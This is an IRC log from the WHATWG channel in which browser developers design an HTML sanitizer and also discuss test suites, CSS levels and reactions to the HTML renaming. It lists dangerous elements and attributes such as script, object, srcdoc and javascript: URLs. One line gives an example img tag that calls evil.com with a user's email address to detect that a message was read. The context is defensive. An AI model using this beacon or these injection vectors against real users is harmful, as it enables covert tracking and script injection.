Neither of those would happen in a sane world

[04:28:02.0000] <Ms2ger>
annevk, | rowspan=n |, if you didn't find it yet

[04:28:03.0000] <hsivonen>
jgraham: I'm not planning on coding for that scenario

[04:29:00.0000] <annevk>
Ms2ger, thanks, I figured it out already

[04:30:00.0000] <david_carlisle>
jgraham: that would be the world in which browser makers don't implement image and not tell us for a decade that we have an unknown name clash?

[04:30:01.0000] <benschwarz>
Hixie: !Ping

[04:31:00.0000] <jgraham>
david_carlisle: < jgraham> Neither of those would happen in a sane world

[04:32:00.0000] <david_carlisle>
jgraham: something about logic and doors

[04:35:00.0000] <hsivonen>
david_carlisle: fortunately, image is "safe"

[04:37:00.0000] <hsivonen>
hmm. nested SVG scripts are going to be annoying

[04:38:00.0000] <david_carlisle>
hsivonen: yes

[04:51:00.0000] <hsivonen>
hmm. so the list of dangerous well-known HTML elements is script, style, applet, object. Right?

[04:51:01.0000] <hsivonen>
working out which parts of SVG are dangerous is harder

[04:52:00.0000] <annevk>
anything that causes a request can be dangerous in a way

[04:53:00.0000] <benschwarz>
Is there a bot to leave Hixie a message?

[04:53:01.0000] <annevk>
you can file a bug

[04:53:02.0000] <jgraham>
Yes, one might imagine organising the code around groups of elements according to their properties

[04:53:03.0000] <jgraham>
Or just leave the message

[04:54:00.0000] <hsivonen>
annevk: do you mean for detecting that a user read a span with a unique image?

[04:54:01.0000] <jgraham>
e.g. script_elements, request_elements, etc.

[04:55:00.0000] <hsivonen>
and SVG id references that can go across documents is one collection of pain that makes it hard to know which elements end up requesting stuff based on the element name alone

[04:57:00.0000] <benschwarz>
I just added web stats to the developers.whatwg.org edition…

[04:59:00.0000] <benschwarz>
and now, bed. later all

[05:08:00.0000] <annevk>
hsivonen, or somewhat dangerous GET requests

[05:09:00.0000] <annevk>
e.g. a blog comment in moderation that fetches logout.php

[05:10:00.0000] <hsivonen>
annevk: a blogging system is full of fail if you can be logged out using GET

[05:10:01.0000] <annevk>
no argument there

[05:10:02.0000] <annevk>
guess it depends on what you want to do

[05:11:00.0000] <annevk>
for email it would be similarly bad

[05:11:01.0000] <annevk>
<img src=http://evil.com/?you⊙ec>

[05:12:00.0000] <hsivonen>
I believe Thunderbird catches those on a different layer

[05:15:00.0000] <annevk>
other things that could be potentially problematic are elements the author did not expect commenters to use or be able to use

[05:16:00.0000] <annevk>
e.g. if the author has one <header> on his page with some position:absolute styling and a commenter includes that as well...

[05:16:01.0000] <annevk>
but I guess it depends on whether this API will be exposed to web content or not whether any of the above makes sense

[05:19:00.0000] <hsivonen>
annevk: good point. that threat isn't being addressed

[05:22:00.0000] <hsivonen>
stuff like <svg><script><script><h1> is very annoying

[05:24:00.0000] <annevk>
heh, Julian thinks we changed the name because we are angry with the HTML5 logo

[05:24:01.0000] <annevk>
http://www.heise.de/ix/meldung/Aus-HTML-5-wird-der-lebende-Standard-HTML-1172423.html

[05:25:00.0000] <annevk>
hsivonen, it seems filtering the DOM would give much better results

[05:25:01.0000] <annevk>
hsivonen, also, if we want this at the parser layer, should this be part of the parsing section?

[05:27:00.0000] <hsivonen>
annevk: it sure starts looking like it doesn't make sense to recommend this function for non-browser users of the parser

[05:28:00.0000] <hsivonen>
and yeah, I'm starting to suspect whether it makes sense to do this in the parser even in the browser case

[05:29:00.0000] <hsivonen>
though for perf, it kinda sucks to build a DOM fragment, run a filter on it and then insert it

[05:30:00.0000] <Philip`>
Is this ever a performance-critical operation?

[05:30:01.0000] <hsivonen>
Philip`: dunno

[05:30:02.0000] <hsivonen>
<svg><script><foreignObject><h1>Hi! is annoying, too

[06:34:00.0000] <jacobolus>
I notice that most (all?) of the little annotations in the margin of the HTML5^H spec say that there are 0 tests and 0 demos for a feature, and nothing written about "implementation status"; is there actually some place where such tests/demos would reside, linked from the spec? aren't there plenty of parts that *do* have tests one place or another around the web?

[06:35:00.0000] <Philip`>
The tests/demos can be anywhere - someone just needs to update the spec to point to them all

[06:35:01.0000] <jacobolus>
is there any good coordinated place showing what has tests, what needs tests, etc.?

[06:36:00.0000] <Philip`>
No

[06:36:01.0000] <Philip`>
http://wiki.whatwg.org/wiki/Testsuite has links to various things

[06:36:02.0000] <jacobolus>
it seems like this is a task that could be pretty easily distributed: "write 1-2 test about one of these features"; would be more productive as a discussion than flameouts about nomenclature and so forth

[06:37:00.0000] <jacobolus>
then again, maybe no one would be interested in writing a test or two

[06:37:01.0000] <Philip`>
It'd probably be good to coordinate work in the HTML WG testing group rather than having everything as ad hoc as it has been

[06:37:02.0000] <Lachy>
jacobolus, there are a few that do have some tests written and linked from those annotations.

[06:38:00.0000] <jacobolus>
I guess there's also the big problem that someone (not volunteering, for sure) would have to do the organizing/coordination

[06:38:01.0000] <Lachy>
from memory, the video element has a couple.

[06:38:02.0000] <Philip`>
(There's some (slow) progress in that direction currently)

[06:39:00.0000] <Philip`>
jacobolus: A person writing 1-2 tests wouldn't really be scalable to what the spec requires, since it'll need tens of thousands of tests

[06:40:00.0000] <jgraham>
jacobolus: The HTML TEts TF already exists. The main problems are a) getting people to write tests and b) getting the right metadata to link the TCs to the right parts of the spec

[06:41:00.0000] <jacobolus>
fair enough

[06:41:01.0000] <jacobolus>
Philip`: fair enough

[06:41:02.0000] <Philip`>
and the overhead of teaching people how to write good test cases and reviewing them and maintaining them etc means you really need someone to take responsibility for developing a coherent set of tests for a whole section of the spec, I think

[06:41:03.0000] <Philip`>
else it'll be unmanageable

[06:41:04.0000] <jgraham>
jacobolus: The only well tested part of the spec is <canvas> where a) was solved by Philip` writing all the tests and B0 was solved by Philip` writing a system for annotating the spec

[06:41:05.0000] <jacobolus>
i.e. someone needs to make it their full-time job

[06:42:00.0000] <jgraham>
jacobolus: There are surprising;y few places you can get paid to spend all your time writing spec tests

[06:42:01.0000] <jgraham>
In fact I don't know of any

[06:42:02.0000] <jacobolus>
that doesn't seem surprising

[06:42:03.0000] <annevk>
I'm pretty sure such a position is obtainable

[06:42:04.0000] <Philip`>
jacobolus: Yeah, that seems like the most efficient way to get the work done, but I suppose that doesn't help much if nobody is in a position to do that :-(

[06:43:00.0000] <jgraham>
It does mean that as a strategy starting with "1) assume we will get a full time coordinator" is a losing proposition

[06:43:01.0000] <annevk>
e.g. with Mozilla or Google

[06:43:02.0000] <jacobolus>
seems like it'd take a substantial amount of work to even try to consolidate the tests which exist and link them to relevant spec sections

[06:43:03.0000] <jgraham>
annevk: Maybe, but the evidence is that neither Mozilla nor Google *actually* employ anyone to do that

[06:44:00.0000] <annevk>
yes, because nobody is interested in it

[06:44:01.0000] <jgraham>
In fact neither are particularly active at all in writing tests for HTML

[06:44:02.0000] <jacobolus>
but the result is that it's sort of impossible to figure out what parts are tested and what parts aren't

[06:44:03.0000] <Philip`>
It sounds like browser testing people spend most of their time debugging browser-specific bugs and writing browser-specific tests, instead of standards tests

[06:44:04.0000] <jacobolus>
right

[06:45:00.0000] <Philip`>
Is that unavoidable?

[06:45:01.0000] <jacobolus>
it does seem like a wasted duplication of effort, no?

[06:45:02.0000] <annevk>
no, but it requires some amount of investment

[06:45:03.0000] <annevk>
into a framework that can be shared, that people are willing to use

[06:45:04.0000] <jgraham>
We do write quite a lot of standards tests

[06:45:05.0000] <annevk>
and that shows some reasonable return of investment

[06:46:00.0000] <jgraham>
But there is inevitably also a component of doing browser-specific work

[06:46:01.0000] <jgraham>
And that turns out to be a rather large component

[06:46:02.0000] <annevk>
I have written tests, but there's hardly any contribution from elsewhere

[06:46:03.0000] <annevk>
e.g. for XMLHttpRequest

[06:46:04.0000] <annevk>
maybe the bar to entry is too high, but I have not even been contacted

[06:46:05.0000] <jgraham>
Since the job description is not "write tests" but "help us ship a good browser"

[06:47:00.0000] <annevk>
and while other browsers might start using the tests, they are hesitant (to say the least) to convert their own

[06:48:00.0000] <annevk>
tl:dr standardizing test infrastructure is tough

[06:48:01.0000] <annevk>
and sharing tests is too

[06:50:00.0000] <jgraham>
Sharing tests is generally not that bad if the recievee is prepared to do all the integration work

[06:50:01.0000] <Ms2ger>
jgraham, Mozilla does write a lot of HTML tests, we just don't submit them ;)

[06:51:00.0000] <jgraham>
Ms2ger: That is the same thing :)

[06:51:01.0000] <Ms2ger>
Only from your POV :)

[06:51:02.0000] <jgraham>
Well from everyone's POV

[06:51:03.0000] <jgraham>
Apart from yours

[07:01:00.0000] <hsivonen>
jacobolus: apparently you need to buy t-shirts with the HTML5 logo on them to get this testing thing sorted out

[07:02:00.0000] <jgraham>
/me has his doubts that will help

[07:03:00.0000] <jacobolus>
hsivonen: is that the W3C version of a middle school bake sale?

[07:04:00.0000] <jacobolus>
maybe the spec could do in-line advertising. "the canvas element, brought to you by Nabisco"

[07:04:01.0000] <jgraham>
jacobolus: It seems to be. My idea of a real bake sale, with the HTML5 logog on big cakes and all the sub-logos on cupcakes has so far failed to gain any traction

[07:05:00.0000] <jgraham>
Even when I suggested that we dress up in vinatge military gear to do the selling

[07:05:01.0000] <jacobolus>
damn

[07:05:02.0000] <jgraham>
and get a brass band clad in HTML5-spandex

[07:05:03.0000] <jgraham>
On an entirely different topic, does anyone know if, and by how much, faster it is to draw to Xvfb than to real X?

[07:37:00.0000] <hsivonen>
apart from attributes that contain URL, are there dangerous attributes that don't start with "on"?

[07:40:00.0000] <annevk>
hsivonen, autofocus

[07:41:00.0000] <annevk>
hsivonen, srcdoc

[07:41:01.0000] <annevk>
actually, maybe srcdoc is harmless

[07:41:02.0000] <annevk>
no, only harmless when sandbox is defined iirc

[07:42:00.0000] <hsivonen>
annevk: good point on autofocus

[07:42:01.0000] <hsivonen>
annevk: what's dangerous with srcdoc? it's in a different origin, right?

[07:43:00.0000] <othermaciej>
what counts as "dangerous"?

[07:44:00.0000] <hsivonen>
othermaciej: stuff that would allow script to run in the wrong origin when the markup is inserted into a different-origin doc

[07:44:01.0000] <hsivonen>
oh, and style is a special case, of course

[07:45:00.0000] <annevk>
is srcdoc in a different origin by default?

[07:45:01.0000] <othermaciej>
if the attacker can control all the attributes on an iframe element, then srcdoc is indeed dangerous

[07:45:02.0000] <annevk>
I thought it wasn't

[07:45:03.0000] <othermaciej>
but then, so is src

[07:45:04.0000] <annevk>
src is excluded already as it contains a URL

[07:45:05.0000] <othermaciej>
any attribute that takes a URL and happens to contain a javascript: URL is probably dangerous

[07:45:06.0000] <hsivonen>
annevk: huh. I thought the whole point of involving an iframe was to put srcdoc into a different origin

[07:45:07.0000] <hsivonen>
othermaciej: what's the attack?

[07:46:00.0000] <annevk>
hsivonen, I think that is only true for <iframe srcdoc=test sandbox>

[07:46:01.0000] <othermaciej>
srcdoc can be in a unique origin if you sandbox the iframe

[07:46:02.0000] <hsivonen>
othermaciej: what's the attack that makes srcdoc dangerous if all attributes controlled that is?

[07:46:03.0000] <othermaciej>
hsivonen: I don't know what threat you are defending against, you said "allow script to run in the wrong origin"

[07:47:00.0000] <othermaciej>
but srcdoc iframes can be same-origin with the parent and can run script

[07:47:01.0000] <hsivonen>
annevk: what's the point of srcdoc without sandboxing?

[07:47:02.0000] <david_carlisle>
Paul: some in my group may be interested in this

[07:47:03.0000] <othermaciej>
so can iframes with a javascript: src

[07:48:00.0000] <hsivonen>
same-origin srcdoc seems like trouble. what's the point of ever allowing srcdoc to be same-origin? why use an iframe at all in that case?

[07:48:01.0000] <david_carlisle>
Bruce: I missed the point of what a class attribute would accomplish, an input box needs more complicated data, if your have markup for that and allows that in your schema

[07:48:02.0000] <hsivonen>
othermaciej: yeah, URL attributes all need special attention

[07:48:03.0000] <othermaciej>
what's the use case here? are you trying to filter html by blacklisting?

[07:48:04.0000] <hsivonen>
david_carlisle: are you in the wrong window?

[07:49:00.0000] <david_carlisle>
oops sorry in mathml wg telecon..... :-)

[07:49:01.0000] <david_carlisle>
don't understand these tab things, bye

[07:54:00.0000] <annevk>
http://tools.ietf.org/html/draft-bankoski-vp8-bitstream

[07:58:00.0000] <hsivonen>
annevk: interesting choice of venue

[07:59:00.0000] <hsivonen>
hmm. Intended status: Informational

[08:00:00.0000] <annevk>
it was also submitted on Jan 6

[08:00:01.0000] <annevk>
bit weird

[08:01:00.0000] <Ms2ger>
This specification is made available under a Creative Commons Attribution 3.0 License [4].

[08:01:01.0000] <Ms2ger>
Wait, what?

[08:01:02.0000] <annevk>
I would have expected that to turn up sooner

[08:04:00.0000] <othermaciej>
does the IETF let you put your choice of license on an RFC? I thought you had to assign them copyright

[08:06:00.0000] <Ms2ger>
"Copyright (c) 2011 IETF Trust and the persons identified as the document authors.  All rights reserved." on page one, and CC-BY on page 148

[08:06:01.0000] <karlcow>
http://en.wikipedia.org/wiki/Request_for_Comments#Status_.22informational.22

[08:07:00.0000] <karlcow>
>An informational RFC can be nearly anything from April 1 jokes over proprietary protocols up to widely recognized essential RFCs like Domain Name System Structure and Delegation (RFC 1591).

[08:07:01.0000] <karlcow>
published on January 6, so might not be a joke

[08:07:02.0000] <workmad3>
ah, good old TCP/IP over Carrier Pigeon

[08:08:00.0000] <karlcow>
CCTV for pigeons?

[08:08:01.0000] <othermaciej>
yeah, it just seems to be a least-effort path to something that can be called a "standard"

[09:23:00.0000] <paul_irish>
what makes a css module be at Level 3?

[09:24:00.0000] <Hixie>
Philip`: zcorpan points out https://github.com/benschwarz/developers.whatwg.org/issues#issue/7 also applies to the spec splitter we use for the main spec

[09:24:01.0000] <TabAtkins>
paul_irish: Every module published since 2.1 is at level 3, unless it's an update to one we've already closed on.

[09:25:00.0000] <TabAtkins>
Like B&B 4, which is in our version control.

[09:25:01.0000] <Ms2ger>
Go and publish a FPWD

[09:25:02.0000] <paul_irish>
if a new spec was started today.. would it start at 4?

[09:25:03.0000] <Ms2ger>
No

[09:25:04.0000] <TabAtkins>
No.

[09:26:00.0000] <paul_irish>
When will that happen?

[09:26:01.0000] <TabAtkins>
I have to go look up the email where we decided policy, but if we publish something new now, we don't number it at all.

[09:26:02.0000] <paul_irish>
ah. :) ok

[09:26:03.0000] <paul_irish>
I'm curious if the "CSS3" exists.

[09:26:04.0000] <paul_irish>
I'm curious if "CSS3" exists.

[09:27:00.0000] <TabAtkins>
No, "CSS3" is a marketing term.

[09:27:01.0000] <paul_irish>
seems like a collection of modules that are at level 3 right now, but.. ..

[09:27:02.0000] <TabAtkins>
And has been for longer than "HTML5" has.

[09:28:00.0000] <paul_irish>
groovy. thx

[09:28:01.0000] <TabAtkins>
CSS still does versioning, but only on the module level.  Overall, CSS is unversioned, except insofar as there is 2.1, and everything after it.

[09:29:00.0000] <paul_irish>
k

[09:30:00.0000] <SlexAxton>
paul_irish: TabAtkins - don't you guys sit next to eachother?

[09:30:01.0000] <annevk>
those are levels

[09:30:02.0000] <paul_irish>
not when i'm commuting :)

[09:30:03.0000] <annevk>
not versions...

[09:30:04.0000] <TabAtkins>
SlexAxton: Also, he's further down the floor.

[09:30:05.0000] <SlexAxton>
im just joshin' - back to work.

[09:30:06.0000] <TabAtkins>
annevk: Sure, whatever.

[09:31:00.0000] <paul_irish>
annevk: is that distinction important?

[09:31:01.0000] <TabAtkins>
annevk: Dunno what the disction is, as parts of CSS2.1 are obsoleted by CSS3 modules.

[09:31:02.0000] <TabAtkins>
And the plan is to eventually obsolete the whole thing.

[09:31:03.0000] <TabAtkins>
Once someone can be arsed to write Syntax and Box Model.

[09:34:00.0000] <Ms2ger>
Will probably happen before 2.1 is a rec

[09:34:01.0000] <jgraham>
Versions somewhat implies "incompatible". I think the idea with levels is that you can only level-up i.e. get new features that you didn't have before

[09:34:02.0000] <jgraham>
Or at least implies "mechanism of marking which version you are using"

[09:34:03.0000] <TabAtkins>
I don't know if that's the meaning everyone would draw from the terms, but sure, barring minor inconsistencies, that's true.

[09:34:04.0000] <annevk>
the idea is that with levels the difference is only the feature set

[09:34:05.0000] <Ms2ger>
CSS needs doctypes

[09:34:06.0000] <annevk>
not the functionality of the features

[09:35:00.0000] <annevk>
i.e. once #fff is introduced it will mean white from that point on and nothing else

[09:35:01.0000] <annevk>
no future level can change that

[09:35:02.0000] <annevk>
but it does not matter too much either way

[09:35:03.0000] <TabAtkins>
Unless we determine it was a really bad idea and no browser does it.

[09:35:04.0000] <annevk>
then it would not end up in a REC anyway

[09:36:00.0000] <annevk>
the "process" deals with that already

[09:36:01.0000] <TabAtkins>
But yeah, whatever.  CSS is level-less, except for the 2.1/everything after distinction.  Individual modules are still levelled.  Same diff.

[09:37:00.0000] <paul_irish>
ah. i follow. yeah that's a worthwhile distinction

[09:46:00.0000] <volkmar_>
i was wondering, what are the use cases of dispatchForm[Input|Change]?

[09:48:00.0000] <annevk>
there's an example in the spec

[09:49:00.0000] <volkmar_>
oh, for change, indeed

[09:49:01.0000] <volkmar_>
i've only checked for the other

[09:50:00.0000] <annevk>
I am sort of fine with getting rid of them, though reportedly they were not that hard to implement and Hixie thinks they make authoring quite a bit easier

[09:50:01.0000] <annevk>
if you do not want to rely on libraries

[09:50:02.0000] <annevk>
but maybe that is mostly about formchange and forminput

[09:51:00.0000] <annevk>
events

[09:51:01.0000] <volkmar_>
annevk: yes, it's not hard to implement dispatchFormInput if you have formInput given that, internally, it will call something like dispatchFormInput

[09:52:00.0000] <volkmar_>
hmm, the example in the spec doesn't convince me it's useful

[09:52:01.0000] <annevk>
volkmar_, you could look for a resolved bug in the W3C database

[09:52:02.0000] <annevk>
volkmar_, someone asked for removal and Hixie declined

[09:53:00.0000] <annevk>
no idea which number and I really have to run

[09:53:01.0000] <volkmar_>
annevk: someone ask for removal for forminput and formchange

[09:53:02.0000] <volkmar_>
annevk: i will check if that was the case for dispatch*

[09:53:03.0000] <volkmar_>
thanks ;)

[09:54:00.0000] <Hixie>
mostly the use case for dispatch* is to make it easier to just write the logic once in an event handler and make sure it triggers in all the various cases it could trigger

[09:54:01.0000] <Hixie>
but certainly the use cases for dispatch* are less than the use cases for the events themselves

[10:04:00.0000] <erlehmann>
http://qdb.us/305324

[10:04:01.0000] <erlehmann>
:D

[10:06:00.0000] <Hixie>
erlehmann: hey if someone can figure out the security model...

[10:10:00.0000] <Philip`>
Hixie: Get a browser that lets you hit the space key at the bottom of the page to go to the next :-)

[10:10:01.0000] <Hixie>
[24~:-P

[10:10:02.0000] <Hixie>
er

[10:10:03.0000] <Hixie>
:-P

[10:22:00.0000] <karlcow>
is it only me?

[10:22:01.0000] <karlcow>
http://www.xanthir.com/talks/2011-01-12/slides.html TabAtkins slides do not work with Opera?

[10:23:00.0000] <Ms2ger>
Only Chrome

[10:23:01.0000] <nimbupani>
:D

[10:28:00.0000] <karlcow>
doh!

[10:38:00.0000] <Hixie>
man, a mountain of comments

[10:39:00.0000] <Hixie>
if anyone wants to help out with the faq, what would be really helpful right now would be to go through the recent blog comments and distill the criticisms into comments or questions we can add to http://wiki.whatwg.org/wiki/FAQ#The_WHATWG_Process

[10:39:01.0000] <Hixie>
feel free to just add questions there even without answers, we can fill them in later

[11:09:00.0000] <midgard>
will there be other shirts in the future? http://html5shirt.com/ because the shirts which are offered are very very ugly :-(

[11:11:00.0000] <Hixie>
if anyone wants to represent HTML at XML Prague (in March, I believe), contact Jim Fuller <jim.fuller⊙xc> and let him know I sent you

[11:11:01.0000] <Hixie>
prague is a really beautiful city, i'd highly recommend it

[11:19:00.0000] <mpilgrim>
if someone designs a kickass HTML(!5) shirt in the next few weeks, i will wear it during my keynote at WebStock NZ

[11:23:00.0000] <Ms2ger>
HTML5 is so last year

[11:24:00.0000] <Ms2ger>
Or yesterday, I guess

[11:24:01.0000] <paul_irish>
mpilgrim: http://www.flickr.com/photos/8624599@N07/5370519387/in/set-72157625737102465/

[11:25:00.0000] <mpilgrim>
not that one

[11:26:00.0000] <paul_irish>
skeletons ♥ HTML http://www.flickr.com/photos/8624599@N07/5371130056/in/set-72157625737102465/

[11:26:01.0000] <mpilgrim>
I would wear one that said "HTML5 is so last week"

[11:27:00.0000] <dglazkov>
Hixie: what's the use case for XBL2 attribute forwarding?

[11:27:01.0000] <dglazkov>
I wanna document

[11:33:00.0000] <Ms2ger>
http://blog.whatwg.org/html-is-the-new-html5#comment-42365

[11:40:00.0000] <Hixie>
dglazkov: e.g. if you wrap a <select> and want to be able to disable the control, you could forward 'disabled'

[11:41:00.0000] <payman>
8

[11:41:01.0000] <payman>
sorry, wrong window.

[11:44:00.0000] <dglazkov>
Hixie: thanks!

[11:48:00.0000] <dglazkov>
Hixie: I wonder if state changes should be handled similarly (activate/focus/select)

[11:48:01.0000] <Hixie>
another example would be forwarding a title="" attribute to get a tooltip somewhere, or value="" to get a default value somewhere, or lang="" to make sure the content is correctly labeled, etc

[11:49:00.0000] <Hixie>
when doing xbl2 i wanted something that could invoke script to map these attributes intelligently, but couldn't work out a good way to do it

[11:49:01.0000] <Hixie>
which is why the spec has the special syntax for various clever things, like how to forward urls

[11:50:00.0000] <dglazkov>
bz had given me lots of code to chew on.

[12:02:00.0000] <dglazkov>
Hixie: we need better syntax

[12:03:00.0000] <dglazkov>
attributes="title=title" hurts my eyes

[12:03:01.0000] <dglazkov>
oh, it's just attributes="title"

[12:03:02.0000] <dglazkov>
but still

[12:03:03.0000] <dglazkov>
/me quits whining and gets back to use cases

[12:09:00.0000] <Hixie>
dglazkov: yeah, i dunno what would be better though

[12:24:00.0000] <Ms2ger>
TabAtkins, have you seen http://w3cindia.in/cssdocument.html already? It has something about lists ;)

[13:13:00.0000] <schalkn>
Hi there everyone

[13:13:01.0000] <schalkn>
Have you seen the HTML5 shirts on sale?

[13:14:00.0000] <schalkn>
Are the funds definitely going to directly to the development of the test suite?

[13:23:00.0000] <dglazkov>
abarth: yt?

[13:23:01.0000] <dglazkov>
abarth: can you pls expand here: http://wiki.whatwg.org/wiki/Component_Model_Use_Cases#Using_Shadow_DOM_Boundary_for_Isolation?

[13:25:00.0000] <benschwarz>
Time to hit the office. Laters

[13:30:00.0000] <abarth>
dglazkov: sure

[13:33:00.0000] <dglazkov>
yay!

[13:57:00.0000] <jgraham>
hmm, it seems that IETF have a different view of "consensus" than I do

[14:02:00.0000] <annevk>
there's a lot of comments on this blog post

[14:02:01.0000] <annevk>
geez

[14:02:02.0000] <annevk>
is anyone going to reply?

[14:11:00.0000] <annevk>
some people also complained about having to enable JavaScript because of the spam filter...

[14:15:00.0000] <jgraham>
annevk: I can't imagine any reply would actually be read

[14:15:01.0000] <jgraham>
Clearly people are ignoring all the other comments when they post their

[14:16:00.0000] <jgraham>
e.g. foolip_'s insightful comment

[14:16:01.0000] <jgraham>
But some of the comments are quite funny

[14:16:02.0000] <annevk>
the trend seems to have gone from mostly positive to mostly negative as well

[14:17:00.0000] <jgraham>
"""LOL this means you will only able to add to a spec, not redefine it. [...] You’ll need to introduce namespaces, versioned tags or revert to a pointer to a fixed specification soon."""

[14:17:01.0000] <annevk>
but the negative comments are not really well informed (the positive comments might not be either though)

[14:17:02.0000] <jgraham>
I wonder if that guy realises that we have only been able to add to HTML, not redefine it, since 1992

[14:17:03.0000] <annevk>
I guess when a post gets sufficiently popular, the feedback you get is "garbage"

[14:18:00.0000] <annevk>
yeah indeed, there's a lot of stuff like that

[14:18:01.0000] <annevk>
also one guy claiming how HTML is irrelevant and everything is XML and RDF these days

[14:18:02.0000] <annevk>
but of course o_O

[14:19:00.0000] <jgraham>
Right, as the thread goes on, the cluelessness level is rising sharply

[14:19:01.0000] <annevk>
I don't really feel like rejecting any of them though. They're not spam and Mr Last Week might find it useful fodder

[14:20:00.0000] <jgraham>
Right. No spam

[14:20:01.0000] <jgraham>
At least in the published stuff, I haven't looked at the moderation queue

[14:20:02.0000] <jgraham>
I feel sorry for many of these people really

[14:21:00.0000] <foolip_>
lol, "like comparing a needle to a haystack"

[14:21:01.0000] <jgraham>
They seem to have had the idea there would be some glorious future where there would be a precise standard that all browsers would implement in a bug-free way

[14:22:00.0000] <jgraham>
And, well, it has never been like that before, so they had nothing to go on

[14:22:01.0000] <jgraham>
But they really *believed*

[14:22:02.0000] <Hixie>
annevk: if you could collate all the points made and stick them in the faq, i'm happy to answer them

[14:22:03.0000] <Hixie>
annevk: i did some last night

[14:22:04.0000] <annevk>
that's an interesting idea

[14:23:00.0000] <annevk>
with which I mean I won't do it tonight, but maybe tomorrow :)

[14:23:01.0000] <Hixie>
:-)

[14:23:02.0000] <foolip_>
many commenters seem to concerned with the well-being of us browser implementors. touching, but wrong

[14:24:00.0000] <Hixie>
yeah

[14:24:01.0000] <foolip_>
"Browser devs will be scrambling to keep up."

[14:24:02.0000] <foolip_>
as if we weren't before :)

[14:24:03.0000] <annevk>
I love how they are strongly opinionated. I kind of lost that myself

[14:24:04.0000] <jcranmer>
it's easier to design APIs than to implement them

[14:25:00.0000] <annevk>
things like "Worst. Idea. Ever."

[14:25:01.0000] <jcranmer>
reference?

[14:26:00.0000] <jcranmer>
I want to... laugh at idiots, but I'm too lazy to figure out the source from scrollback

[14:26:01.0000] <annevk>
jcranmer, comments on http://blog.whatwg.org/html-is-the-new-html5

[14:26:02.0000] <jcranmer>
annevk: thanks

[14:26:03.0000] <annevk>
up to 78 approved now

[14:27:00.0000] <jgraham>
Oh it made slashdot

[14:28:00.0000] <ment>
yeah :)

[14:28:01.0000] <jgraham>
Maybe that explains the change

[14:28:02.0000] <foolip_>
there's bound to be lot's of insight in the slashdot comments :)

[14:28:03.0000] <foolip_>
/me goes to look

[14:28:04.0000] <jcranmer>
I'll agree that it might be nice to snapshot

[14:28:05.0000] <jgraham>
Oh and the first comment on /. manages to compare it to Microsoft

[14:28:06.0000] <jcranmer>
although I think the CVS or SVN or whatever is public

[14:29:00.0000] <jgraham>
But, amazingly, doesn't spell it M$

[14:29:01.0000] <foolip_>
let's just call it HTML5792 (SVN revision)

[14:29:02.0000] <jcranmer>
wow, someone who LIKED the logo?

[14:30:00.0000] <annevk>
oh we are on /.

[14:30:01.0000] <annevk>
haha

[14:30:02.0000] <foolip_>
too bad the w3c version of the spec will now get better ranking from "html5" searches

[14:30:03.0000] <annevk>
that and reddit

[14:30:04.0000] <foolip_>
(relative to whatwg that is)

[14:30:05.0000] <annevk>
we lost that battle long ago I think

[14:31:00.0000] <annevk>
of course amid all the conspiracy theories on Google and the WHATWG nobody mentioned that

[14:31:01.0000] <ment>
just for clarification - html 5 is neither 5 nor standard anymore?

[14:31:02.0000] <annevk>
HTML is a standard

[14:31:03.0000] <jgraham>
Of course the /. article is to some blog

[14:32:00.0000] <annevk>
HTML5 is the buzzword for "Web Platform"

[14:32:01.0000] <annevk>
(basically since the W3C logo announcement, though the W3C HTML WG might still publish drafts called HTML5 I guess)

[14:32:02.0000] <jgraham>
Seriosuly, the ratio of knee-jerk to insight in that slashdot thread caused a divide-by-zero error

[14:33:00.0000] <ment>
annevk: well i can conform to html 4.01, but not to "html"

[14:33:01.0000] <annevk>
ment, why not?

[14:34:00.0000] <annevk>
ment, conformance to CSS changes over time, conformance to HTML can too

[14:34:01.0000] <ment>
annevk: because i have no idea how to decide whether i'm conforming or not

[14:34:02.0000] <annevk>
ment, you use the latest version of the specification

[14:35:00.0000] <annevk>
It's funny that CSS pioneered all of this but with HTML it is controversial and stupid

[14:35:01.0000] <ment>
annevk: that's just tortoise/achilles problem

[14:35:02.0000] <annevk>
well, to some people :)

[14:35:03.0000] <ment>
afaik css is releasing specs bit by bit

[14:35:04.0000] <jcranmer>
I like all of the idiots who complain that "this makes browser comparison difficult, since you can't just say "HTML5: yes"'

[14:35:05.0000] <jcranmer>
and the last time that such a distinction was doable was... never, I believe

[14:36:00.0000] <annevk>
jcranmer, I wonder how long they thought about such a comment

[14:36:01.0000] <Hixie>
if anyone sees any recurring themes in the slashdot comments, please add them as sections to the faq and i'll go in and answer them later (or anyone else can go in and answer them, whatever)

[14:36:02.0000] <jcranmer>
that's why WP breaks support down by CSS property or HTML tag/attribute

[14:36:03.0000] <ment>
jcranmer: yes it makes conformance difficult. i had these problems when i was writing html5 parser/tokenizer according to draft

[14:36:04.0000] <ment>
jcranmer: which had very different tokenizer two months later

[14:37:00.0000] <ment>
jcranmer: so i had just to throw most of the tokenizer away and start over again

[14:37:01.0000] <jcranmer>
IMHO, speccing how to precisely handle tag soup is a bit over the top

[14:37:02.0000] <jcranmer>
although I do come from a compiler mindset

[14:37:03.0000] <annevk>
ment, so the difference could have been that you implemented HTML5 which would have been in the same state as HTML4 (pretty crappy) and there would be another draft called HTML6 which had the fixes

[14:37:04.0000] <jcranmer>
where errors are "OMFG, you fail"

[14:38:00.0000] <annevk>
ment, languages evolve and especially when the legacy constraints are not fully understood (a clear indication of that is when browsers are not shipping conforming implementations) this may cause further changes

[14:38:01.0000] <jgraham>
Hixie: The main recurring theme in the slashdot comments was that your employer is evil and you, personally, are a retard

[14:39:00.0000] <annevk>
ment, a different development model to standards is not going to solve that though

[14:39:01.0000] <jgraham>
(that might not be quite a fair summary)

[14:39:02.0000] <realityking>
Doesn't the trouble when validating starts when stuff gets moved to deprecated or "obsolete but conforming" how it is now called?

[14:40:00.0000] <ment>
annevk: yeah, but now i can't just say to somebody with broken page - fuck off, fix your page to conform to html123. and if i say it, he will start babling about how languages are evolving all the time

[14:40:01.0000] <realityking>
CSSWG has made a decision to never remove from the language (whether that is good or not is debatable) I haven't heard something like that for HTML

[14:41:00.0000] <annevk>
ment, right

[14:41:01.0000] <espadrine>
I don't understand why people link this move to Google Chrome.

[14:41:02.0000] <jamesr_>
it doesn't matter whether CSSWG or HTMLWG or WHATWG decides never to remove from the language or not

[14:41:03.0000] <annevk>
ment, you can say "fuck off" the moment there are two interoperable implementation that also break his page

[14:41:04.0000] <jamesr_>
no implementation can ever remove a popular feature from their implementation of CSS or HTML or whatever

[14:41:05.0000] <annevk>
ment, that is why we have the stability indicator

[14:41:06.0000] <jamesr_>
no matter what any specification says

[14:42:00.0000] <gsnedders>
espadrine: Because Hixie works for Google.

[14:42:01.0000] <Hixie>
